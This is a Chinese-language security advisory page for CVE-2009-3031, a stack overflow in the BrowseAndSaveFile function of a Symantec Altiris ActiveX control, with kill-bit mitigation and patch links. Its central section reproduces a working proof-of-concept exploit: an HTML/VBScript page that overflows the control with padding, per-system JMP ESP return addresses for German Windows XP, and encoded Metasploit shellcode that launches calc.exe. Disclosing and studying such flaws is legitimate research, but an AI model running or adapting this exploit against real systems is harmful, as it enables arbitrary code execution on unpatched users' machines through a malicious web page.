首页 -> 安全研究

安全研究

安全漏洞
Symantec Altiris产品ConsoleUtilities ActiveX控件栈溢出漏洞

发布日期:2009-11-02
更新日期:2009-11-03

受影响系统:
Symantec Altiris Deployment Solution 6.9.x
Symantec Altiris Notification Server 6.0.x
Symantec Management Platform 7.0.x
描述:
BUGTRAQ  ID: 36698
CVE(CAN) ID: CVE-2009-3031

Symantec Altiris Deployment Solution是自动化的操作系统部署解决方案,用于从统一的位置部署和管理服务器、桌面和笔记本等。

在初次连接到Altiris Deployment Solution等产品管理服务器的Web控制台时会安装一个AeXNSConsoleUtilities.dll ActiveX控件以授权到服务器的管理员访问,而该控件的BrowseAndSaveFile函数存在栈溢出漏洞。如果用户受骗访问了恶意网页并向该函数传送了超长参数的话,就可以触发这个溢出,导致执行任意指令。

<*来源:Nikolas Sotiriu
  
  链接:http://marc.info/?l=bugtraq&m=125719554917533&w=2
        http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00
        http://secunia.com/advisories/37229/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<html>
<title>NSOADV-2009-001</title>
<object classid='clsid:B44D252D-98FC-4D5C-948C-BE868392A004' id='obj'/>
</object>
<script language='vbscript'>

Sub Submit_OnClick

   For i=0 to 2
      If document.ret.os(i).checked Then
         target=document.ret.os(i).value
      End If
   Next

   EIP=unescape(target)
   arg1 = ""
   arg3 = ""
   arg4 = ""
   arg5 = ""

   junk=String(310, "A") 'junk

   morejunk=String(18, unescape("%u0041")) 'more junk

   // windows/exec - 224 bytes
   // http://www.metasploit.com
   // Encoder: x86/call4_dword_xor
   // EXITFUNC=seh, CMD=calc.exe
   code=unescape("%uc92b%ue983%ue8ce%uffff%uffff%u5ec0%u7681%ue60e"&_
                 "%u2dad%u8338%ufcee%uf4e2%u451a%u38a4%uade6%ub14d"&_
                 "%u9c03%u5cff%uff6d%ub31d%ua1b4%u6aa6%u26f2%u105f"&_
                 "%u1ae9%u1e67%u52d7%uf81c%u914a%u444c%u81e4%uf90d"&_
                 "%ua029%uff2c%u5d04%u6f7f%uff6d%ub33d%u91a4%ue82c"&_
                 "%ued6d%ubd55%ud926%u3967%ufd36%u70a6%u26fe%u1875"&_
                 "%u7ee7%u04ce%u26af%ub319%u7be7%uc71c%u6dd7%uf981"&_
                 "%ua029%uff2c%u4dde%ucc58%ud0e5%u03d5%u899b%uda58"&_
                 "%u26be%u1c75%u7ee7%ub34b%ue6ea%u60a6%uacfa%ub3fe"&_
                 "%u26e2%ue82c%ue96f%u1c09%uf6bd%u614c%ufcbc%ud8d2"&_
                 "%uf2be%ub377%u46f4%u65ab%uac8c%ubda0%uad5f%u382d"&_
                 "%uc5b6%ub31c%u2a89%uedd2%u535d%u0a23%uc50c%uad8b"&_
                 "%u305b%uedd2%uabda%u3251%u5666%u4dcd%u16e3%u2b6a"&_
                 "%uc294%u3847%u52b5%u5bf8%uc187%u164e%ud583%u3848")

   buf=junk+EIP+morejunk+break+code

   obj.BrowseAndSaveFile arg1, buf, arg3, arg4, arg5
End Sub
</script>

<h2>Symantec ConsoleUtilities ActiveX Control Buffer overflow PoC</h2>
Use it only for education or ethical pentesting! The author accepts no
liability for damage caused by this tool.<br>Nikolas Sotiriu (lofi)
(http://www.sotiriu.de/adv/NSOADV-2009-001.txt), 02.11.2009<br>

<h3>Some RET Infos:</h3>
Overwrite EIP with AAAA (crash)<br>
EIP=String(2, unescape("%u4141"))<br><br>

XP SP2 Ger shell32.dll JMP ESP<br>
EIP=unescape("%uaf0a%u77d5")<br><br>
    
XP SP3 Ger shell32.dll JMP ESP<br>
EIP=unescape("%u30D7%u7E68")<br><br>
----------------------------------------------------------------
<form name="ret">
<input type=radio name="os" value="%u4141%u4141">
    DoS<br>
<input type=radio name="os" value="%uaf0a%u77d5">
    Windows XP SP2 German<br>
<input type=radio name="os" value="%u30D7%u7E68">
    Windows XP SP3 German<br>
<input type=button name="Submit" VALUE="Exploit">
</form>
<img src="http://sotiriu.de/images/logo_wh_80.png">
</html>

建议:
临时解决方法:

* 为clsid B44D252D-98FC-4D5C-948C-BE868392A004设置kill-bit。

厂商补丁:

Symantec
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

https://kb.altiris.com/article.asp?article=49568&p=1
https://kb.altiris.com/article.asp?article=49389&p=1

浏览次数:2677
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障